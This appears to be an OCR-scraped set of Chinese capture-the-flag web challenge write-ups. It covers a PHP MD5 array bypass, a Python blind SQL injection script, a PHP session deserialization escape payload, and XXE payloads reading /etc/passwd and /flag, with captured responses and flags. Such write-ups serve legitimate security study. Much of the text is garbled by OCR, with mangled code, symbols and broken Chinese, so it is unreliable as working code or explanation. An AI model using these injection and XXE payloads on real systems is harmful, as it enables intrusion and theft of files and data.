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I put something in F12 for you
include 'flag.php';
$Flag="MRCTF{XXXXXXXXXXXXXXXXXXXXXXXXX}" ;
if(isset($_GET['gg'])&8&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=% GET['gg'l;
if (md5($id) === md5($gg) & $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST[ 'passwd'];
if (!is_numeric($passwd))

{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
¥
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
¥

}Please input first

MD53 LR, RiAB AL -

Warning: md5() expects parameter 1 to be string, array given in fvar/www/html/index.php on line 48
You are not a real hacker!
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| put something in F12 for you include 'flag.php’; $flag='
step’; if(isset(§_POST['passwd'])) { $passwd=$ POST['pas

getit!; }} else{ die('only one way to get the flag"); } } els
$flag="flag {33378630-d20e-4d05-945f- 403267 8efdoh}

7> By Retr 0
ok
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Only u input the correct pasgsword then u can get the flag
and pirhdpz wantz a girl friend.

select * from users where username=" §_POST["uszername”]’ and password="$_POST["password”]’ ;
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import requests
import time as ti

url="http://43be6073-99d9-4a0c-b28b-3a35fd75574e.node3.buuoj.cn/index.php"

result =

for x in range(1, 50):

high = 127

low = 32

mid = (low + high) // 2

while high > low:
payload="or ascii(substr((database()),%d,1))>%d#"%(x,mid)
#tpayload="or ascii(substr((username),%d,1))>%d#"%(x,mid)
#tpayload="or ascii(substr((password),%d,1))>%d#"%(x,mid)

data = {
"username":"admin\\",
"password" :payload

}

#print(payload)

response = requests.post(url,data=data)
if 'BID needs to' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
print(mid)
result += chr(int(mid))
print(result)
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<?php
$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag', 'php5', 'phpad', 'flig');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,"'',$img);

if($_SESSION){
unset($_SESSION);

$_SESSION["user"] = 'guest';
$_SESSION[ 'function'] = $function;

extract($_POST);

if(!$function)q{
echo '<a href="index.php?f=highlight file">source_code</a>"';

if(!$_GET[ 'img_path']){
$_SESSION['img'] = base64_encode( 'guest_img.png');
}else{
$_SESSION['img'] = shal(base64_encode($_GET['img_path']));

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){

highlight file('index.php');
}else if($function == 'phpinfo’){

eval('phpinfo();"'); //maybe you can find something in here!
}else if($function == 'show_image'){

$userinfo = unserialize($serialize_info);

echo file_get contents(base64_decode($userinfo[ 'img']));

f=phpinfo, 7EHH#R3 T Seflflagh) CH:
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auto_append file d0g3_flag.php d0g3_flag.php

7] LA FHextract($_POST )R NRATHEERIE, 7T LAF Elf=show_imagelt 7] LAEEUCCf4, (HRImgE #:4&&shal
i, FrbAa] LB R4 SESSIONKIME R & 754k, Hifiltertd $E Blseesionftl B phpkflage & #pE, HATHE
AN RIESE— T

WA 4E N\ payload1

_SESSION[ 'flagflagflag']=aaaa";s:3:"aaa";s:3:"img";s:20:"ZDBNM19mMWFnLnBocA==";}



a:4:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:12:"flagflagflag";s:55:"aaaa";s:3:"aaa";s:3:

B FflagB#ona, R T

a:4:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:12:"";s:55:"aaaa";s:3:"aaa";s:3:"img";s:20:"

Hrp",s:55:"aaaa#f 7> IEEF 124 FFF, BHE"HE, B UAE

array(4) {
["user"]=>
string(5) "guest"
["function"]=>
string(1@) "show_image"
["";s:55:"aaaa" ]=>
string(3) "aaa"
["img"]=>
string(20) "ZDBnM19mMWFnLnBocA=="

f£ \payload1, FA153:

<!--2php

iflag = "flag in /dBg3 f11111lag"';

L
html
head></head
body></body> == %
/html

BH¥ F xbase64tt N5 3|

URL
htip://72ea5d95-b24c-46b8-b0e6-41953fbb2d3b.node3.buuoj.cn/index.php?f=show_image

enctype
E?]ast#e application/x-www-form-urlencoded - ADD HEADER

Body
_SESSION[flagflagflag]=aaaa";s:3:"aaa";s:3:"img";s:20:"L2QwZz
NfZmxsbGxsbGFn"}

html
head></head
body>flag{80@78807-BcP1l-4af2-bf48-5929faefbo4e}
fbody> == %8
/html



[NCTF2019]Fake XML cookbook
xml ) xxe I 7

I
NCTF2019 Name X Headers
|| c40802da-debB-4fb7-ab53-df... —
2| php_logo.png
| | jquery-2.24.minjs

nitiator  Timing

Request URL: http://c40882da-deb6-47b7-ab53-df6d2ccdbbdS . node3 . buuoi . cn/dol
Request Method: POST

Status Code: @ 208 OK

Remote Address: 111.73.46.229:80

|| bootstrap.minjs
| | jquery.bootstrapjs
material-baotstrap-wizard.js Referrer Policy: no-referrer-when-downgrade

admin login fail!

[] jquerywvalidste.minjs

~ Response Headers ew source

font.css . .
- Connection: keep-alive
Content-Length: 47

Content-Type: text/html; charset=utf-8

|| bootstrap.min.css
| | material-bootstrap-wizard.css
| | favicon.png

Date: Thu, @6 Aug 2028 13:36:58 GMT
|| doLogin.php

Server: openresty

X-Powered-By: PHP/7.4.8RC6

¥ Request Headers  view s

e

Accept: application/xml, text/xml, */*; q=0.81

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=8.9

Connection: keep-alive

Content-Length: &5

Content-Type: application/xml;charset=UTF-8

Copyright By cOny1 Host: 48082
Thanks from zjy

da-deb6-4fb7-ab53-dF6d2ccdbbdg. node3. buuo3 . cn

Origin: http://c40882da-debs-4fb7-ab53-df6d2ccdbbdd . node3. buuci. cn

Referer: http://c48802da-deb6-4Fb7-ab53-df6d2ccdbbdd. node3.buuoi . cn/
User-Agent: Mozilla/5.8 (Windows NT 18.8; WinG4; x64) AppleWebKit/537.36 (K
185 Safari/537.36

X-Requested-With: XMLHttpReguest

¥ Request Payload

<user><username>admin< /username><password>acming /passuords< user

BEERA— KT EHER
<user><username>admin</username><password>admin</password></user>
& R xxe W

MENE—T

1 POST /doLogin.php HTTP/1.1 A 1 HTTP/1.1 200 CK
Host: c4080IZda-debE-4fh7-ab53-dfédcoedbbd?®.node3 . buucj.cn P 2 Server: openresty
Content-Length: 140 3 Date: Thu, 0f Aug Z0Z0 13:3B8:35 GNT

4 Acecept: application/xml, text/xml, */*; g=0.01 4 Content-Type: text/html; charsst=utf-8
5 ¥-Pequested-With: XMLHttpReguest Content-Length: S&8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x64) AppleWebE Connection: close

Content-Type: application/xml;charset=UTF-8 Vary: Accept-Encoding

o

Origin: http://c40802da-debhE-4fh7-ab53-dfed2codbbdd. nodes3 . buuo]j ® ¥-Powered-By: PHF/7.4.0RCE
Referer: http://c40802da-debE-4fb7-ab53-dfedlcodbbdd. node3 . buuo] =]
Aecept-Encoding: gzip, deflate 10 <resultc>
Aoccept-Language: zh-CH, zh;qg=0.9 <code>
Connection: close u]
</code>
<msg>

root:x:0:0:root:/root:/bin/bash

<!DOCTYPE ANY [ 11 dasmon: :l:dasmon: /usr/sbin: /usr/shin/nologin
<!ENTITY admin SYSTEM "file:///etc/passwd”s> 12 bin:x:2:2:bin:/kin:/usr/shin/nologin
1= sys:x:3:3:sys:/dev:/usr/shin/nologin

<user> gync:x:4:65534:syne: /bin: /hin/syne
<username> games:x:5:E0:games: /usr/gamess: /usr/sbin/nologin
gadmin; man:x:&:12 man:/var/cache/man:/usr/shin/nologin
</username> lp:x:7:7:1lp:/var/spool/lpd: fusr/sbin/nologin
<passwords> mail:x:8:8:mail:/var/mail:/usr/shin/nologin
12345¢6 news:x:9:9:news: /var/spool/news: /usr/shin/nologin
</passwvord> uucp:x:l0:l0:uucp: /var/spool/uucp: /usr/shin/nologin
</user> proxy:®:1l3:l3:proxy:/bin:/usr/shin/nologin

www-data:x:33:33:wwv-data:/var/www: /usr/sbhin/nologin

backup: 4:34:backup: /var/backups:/usr/sbhin/nologin

list:x:3B:3B:Mailing List Manager:/var/list:/usr/sbhbin/no.

irc:x:39:39:ired:/var/run/ircd: fusr/sbin/nologin

gnats:x:41:41:Gnats Bug-Beporting System (admin) :/var/1lil

nobody:x:65534: 65534 nobody: /nonexistent: /usr/shin/nolog.
apt:x:100:E5534::/nonexistent:/usr/skin/nologin

</msg>
</result>

Al LA B /etc/passwd
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<IDOCTYPE ANY [

<!ENTITY admin SYSTEM "except://1s">

1>

<user><username>&admin;</username><password>123456</password></user>

RIS, BjaRIARFEagh B

B % payload

<!DOCTYPE ANY [

<!ENTITY admin SYSTEM "file:///flag">

1>

<user><username>&admin;</username><password>123456</password></user>

j Raw T Params T Headers T Hex 1

J Raw I Headers I Hex T Render }

1 en

o

: Host: cd40B0Zda-debi-4fb7-ab53-dfédZecdbbdy. node3 . buuocj.cn
5 Content-Length: 134

i Referer: http://c40802da-debhé-4fh7-ab53-dfedZcadbbdd. node3 . buuo]
J Accept-Encoding: gzip, deflate

} lguser>

FPOST /dolLogin.php HTTE/Ll.1

Aocept: application/®ml, text/xml, */*; cg=0.01
¥X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; xE4) AppleWebkE
Content-Type: application/wxml;charset=UTF-28

Origin: http://c40802da-debe-4fthT-ab53-dfedlcodhbds. node3 . buuoj

Accept-Languages: zh-CHN, zh:qg=0.9
Connection: close

<!DOCTYPE ANY [
<!ENTITY admin STSTEM ”filE:KKKflagP}
1=

<username>
gadmin;
</username>
<passwords>
123456
</passwvord>
<fuger>

A
-

HTTF/1l.1l 200 OK

2 Server: openresty

3 Date: Thu, 0& Aug Z0Z0 13:41:31 GMT
4 Content-Type: text/html; charsst=utf-8

@

T

Content-Length: E5
Connection: close

Vary: Accept-Encoding
¥-Powered-By: PHP/7.4.0RCE

J <result>

<code>
u]
</ code>
<msg>
flag{d00498b3-24£f5-42ac-9085-7b03£0£403d}
</msg>
</results>
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